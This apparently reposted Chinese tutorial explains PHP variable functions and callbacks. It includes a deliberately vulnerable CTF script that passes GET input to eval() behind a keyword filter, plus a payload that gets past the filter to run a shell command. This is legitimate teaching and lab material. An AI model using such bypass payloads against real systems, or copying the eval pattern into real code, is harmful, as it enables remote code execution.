php基础学习之可变函数(web渗透测试关键字绕过rce于回调函数)

news2024/11/28 12:31:02

可变函数

看可变函数的知识点之前,蒟蒻博主建议你先去看看php的可变变量,会更加方便理解,在本篇博客中的第五块知识点->php基础学习之变量-CSDN博客

描述

当一个变量所保存的值刚好是一个函数的名字(由函数命名规则可知该值必须是字符串),那么就可以通过【变量名()】的形式实现该函数的调用

代码示例

<?php
function test(){
    echo "test函数被调用了";
}
$var = "test";//变量var中存放字符串test
$var();//通过可变函数语法去调用test函数, 等价于->test();

用途

web渗透中命令执行的关键字绕过

思路

可变函数可用作web渗透测试中绕过关键字实现rce,其思路是将被过滤的函数名作为字符串存放在其它变量中,然后从相应的数组中取出该值,绕过过滤实现函数的执行

测试脚本

下面给出一段靶场代码以供测试,在这段脚本中,我们的目的是绕过被过滤的system关键字,使用system函数执行dir命令(dir是用于windows系统查看文件目录的命令)

<?php
highlight_file(__FILE__);
echo "命令执行,用system函数列出当前目录,这是windows系统" . "<br>";
if (isset($_GET['cmd'])) {
    $cmd = $_GET['cmd'];
    if (preg_match("/system/i", $cmd)) {
        echo "就你还想当黑客?";
    } else {
        echo $_GET['a']. " ". $cmd;//展示参数名
        eval($cmd);//执行命令
    }
}
payload

解释:在a变量中存放system函数名,然后从$_GET数组中取出该值,按可变函数的语法调用system函数

a=system&cmd=$_GET['a']("dir");

在实际靶场使用也是没问题的!(题目来源:【CTFshow-web30】)

回调函数

思路

参考->C语言回调函数详解(全网最全)-CSDN博客

回调函数是开发中很常用的一种编程技术,回调函数a会被作为参数传递给另一个函数b,并在这个函数b的执行过程中去调用回调函数(a)

在C语言中会使用指针来实现,C++/Java使用引用来实现

php则可以使用可变函数实现——将回调函数的函数名作为参数(字符串)传递给另一个函数后,这个函数就能利用可变函数的语法实现回调

测试脚本
<?php
function Add($x, $y){
    return $x + $y;
}
function Sub($x, $y){
    return $x - $y;
}
function Mul($x, $y){
    return $x * $y;
}
function Div($x, $y){
    return $x / $y;
}
//↑上面是4个简单的加减乘除四则运算函数的定义
function calculator($x, $y, $op_func){//该函数将实现四则运算
    echo $op_func($x, $y). "<br>";//op_func中存放着调用calculator函数时传来的运算函数的函数名, 利用可变函数语法实现回调
}
calculator(2, 3, "Add");//5
calculator(2, 3, "Sub");//-1
calculator(2, 3, "Mul");//6
calculator(2, 3, "Div");//0.66666666666667
示例

解释:在调用calculator函数时除了传入操作数外还传入一个运算函数的函数名,calculator函数会接收这三个参数,并利用可变函数的语法对传入的运算函数实现回调

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1450488.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

2024年【T电梯修理】报名考试及T电梯修理考试报名

题库来源&#xff1a;安全生产模拟考试一点通公众号小程序 2024年【T电梯修理】报名考试及T电梯修理考试报名&#xff0c;包含T电梯修理报名考试答案和解析及T电梯修理考试报名练习。安全生产模拟考试一点通结合国家T电梯修理考试最新大纲及T电梯修理考试真题汇总&#xff0c;…

书生浦语大模型实战营-课程笔记(3)

本节课主要是跟着教程做的&#xff0c;操作的东西放到作业里记录了。 这里主要记录一些视频里讲的非操作性的东西。 RAG外挂知识库&#xff1f;优点是成本低&#xff0c;不用重新训练 RAG的一个整体流程。 涉及了文本相似度匹配&#xff0c;是不是和传统的问答系统&#xff0…

SpringCloud之Nacos用法笔记

SpringCloud之Nacos注册中心 Nacos注册中心nacos启动服务注册到Nacosnacos服务分级模型NacosRule负载均衡策略根据集群负载均衡加权负载均衡Nacos环境隔离-namespace Nacos与eureka的对比临时实例与非临时实例设置 Nacos配置管理统一配置管理微服务配置拉取配置自动刷新远端配置…

【白话前端】扫盲贴:Svg动画和Canvas动画区别

SVG动画和Canvas动画是两种不同的Web动画技术&#xff0c;它们的实现方式、适用场景和优缺点有所不同。 SVG动画是基于矢量图形的动画技术&#xff0c;使用XML描述图形&#xff0c;并在浏览器中渲染出来。SVG动画可以通过JavaScript或CSS来控制SVG元素的属性值变化&#xff0c;…

Activation of network connection failed(ubuntu连不上网)

ubuntu连不上网&#xff0c;看了好几个方法找到个有用的记录一下 1. 还原默认设置 2. 更改适配器&#xff1a;加上vmware bridge protocol

积分(二)——复化Simpson(C++)

前言 前言 simpson积分 simpson积分公式 ∫ a b f ( x ) d x ≈ b − a 6 [ f ( a ) f ( b ) 4 f ( a b 2 ) ] \int_{a}^{b}f(x)dx \approx \frac{b-a}{6}[f(a)f(b)4f(\frac{ab}{2})] ∫ab​f(x)dx≈6b−a​[f(a)f(b)4f(2ab​)] 与梯形积分类似&#xff0c;当区间[a,b]较…

文件上传漏洞:upload-labs靶场通关

目录 什么是文件上传漏洞&#xff1f; 第1关&#xff08;客户端验证-前端&#xff09; 第2关&#xff08;文件类型校验-MIME校验 &#xff09; 第3关&#xff08;文件名校验-黑名单绕过&#xff09; 第4关&#xff08;文件后缀校验-.htacess绕过&#xff09; 第5关&#…

GPIO八种工作模式

目录 一、推挽输出 二、开漏输出 三、复用推挽输出 四、复用开漏输出 五、浮空输入 六、上拉输入 七、下拉输入 八、模拟输入 GPIO八种配置模式&#xff0c;原理和使用场景&#xff0c;硬件原理如下图&#xff1a; 一、推挽输出 1、 原理 当控制栅极为低电平时&#x…

随机过程及应用学习笔记(四) 马尔可夫过程

马尔可夫过程是理论上和实际应用中都十分重要的一类随机过程。 目录 前言 一、马尔可夫过程的概念 二、离散参数马氏链 1 定义 2 齐次马尔可夫链 3 齐次马尔可夫链的性质 三、齐次马尔可夫链状态的分类 四、有限马尔可夫链 五、状态的周期性 六、极限定理 七、生灭过…

找不到目标和方向,怎么办?

现代社会里&#xff0c;许多人常见的症状&#xff0c;就是「空心病」。 什么是空心病呢&#xff1f;类似这样&#xff1a; 我知道要有目标&#xff0c;但我就是不知道想做什么&#xff0c;感觉对一切事物都提不起兴趣&#xff0c;没有动力&#xff0c;怎么办&#xff1f; 这个…

Mysql第一关之常规用法

简介 介绍Mysql常规概念&#xff0c;用法。包括DDL、DCL、DML、DQL&#xff0c;关键字、分组、连表、函数、排序、分页等。 一、 SQL DCMQ&#xff0c;分别代表DDL、DCL、DML、DQL。 模糊简记为DCMQ&#xff0c;看起来像一个消息队列。 D&#xff1a;Definition 定义语句 M…

[UI5 常用控件] 09.IconTabBar,IconTabHeader,TabContainer

文章目录 前言1. IconTabBar1.1 简介1.2 基本结构1.3 用法1.3.1 颜色&#xff0c;拖放&#xff0c;溢出1.3.2 Icons Only , Inner Contents1.3.3 showAll,Count,key,IconTabSeparator 1.3.4 Only Text1.3.5 headerMode-Inline1.3.6 design,IconTabSeparator-icon1.3.7 DensityM…

当下时代,什么样的人赚钱最容易

如果你问&#xff0c;今天什么样的人赚钱最容易 答案是那些有大量粉丝、有个人IP的人 微信里面&#xff0c;要获取到流量&#xff0c;就必须有粉丝&#xff0c;而在抖音、快手里面&#xff0c;即使你没有任何粉丝 只要能输出平台和用户喜欢的优质内容&#xff0c;一样可以获取巨…

一条 SQL 查询语句是如何执行的

MySQL 的基本架构示意图 大体来说&#xff0c;MySQL 可以分为 Server 层和存储引擎层两部分 Server 层包括连接器、查询缓存、分析器、优化器、执行器等&#xff0c;涵盖 MySQL 的大多数核心服务功能&#xff0c;以及所有的内置函数&#xff08;如日期、时间、数学和加密函数等…

基于FPGA的ECG信号滤波与心率计算verilog实现,包含testbench

目录 1.算法运行效果图预览 2.算法运行软件版本 3.部分核心程序 4.算法理论概述 4.1 ECG信号的特点与噪声 4.2 FPGA在ECG信号处理中的应用 4.3 ECG信号滤波原理 4.4 心率计算原理 4.5 FPGA在ECG信号处理中的优势 5.算法完整程序工程 1.算法运行效果图预览 其RTL结构如…

探索设计模式的魅力:创建型设计模式的比较与决策

设计模式专栏&#xff1a;http://t.csdnimg.cn/U54zu 目录 一、设计模式概览 1.1 创建型模式 二、比较创建型设计模式 1.1 适用场景典型用例 1.2 关键要素与差异对比 1.3 结构图 三、模式选择指南 3.1 场景分析 3.2 决策流程图 四、结语 4.1 优势 4.2 考量因素 一、…

【Java多线程】Thread类的基本用法

目录 Thread类 1、创建线程 1.1、继承 Thread&#xff0c;重写run 1.2、实现 Runnable&#xff0c;重写run 1.3、使用匿名内部类&#xff0c;继承 Thread&#xff0c;重写run 1.4、使用匿名内部类&#xff0c;实现 Runnable&#xff0c;重写run 1.5、使用 lambda 表达式…

问题:总离差平方和为变形观测值与变形观测值的平均值之差的平方和。() #微信#其他

问题&#xff1a;总离差平方和为变形观测值与变形观测值的平均值之差的平方和。&#xff08;) 是 否 参考答案如图所示

html的表格标签

html的表格标签 table标签:表示整个表格tr:表示表格的一行td:表示一个单元格th:表示表头单元格.会居中加粗thead:表格的头部区域 (注意和th区分,范围是比th要大的).tbody:表格得到主体区域. table包含tr , tr包含td或者th. 表格标签有一些属性&#xff0c;可以用于设置大小边…

ChatGPT高效提问—prompt实践(健康助手)

ChatGPT高效提问—prompt实践&#xff08;健康助手&#xff09; ​ 随着社会经济的发展&#xff0c;人们的生活条件不断改善&#xff0c;人们对身体健康也日益重现。让ChatGPT作为健康助手也是一件不错的事。开始之前&#xff0c;还是老样子&#xff0c;先设置角色。 ​ 输入…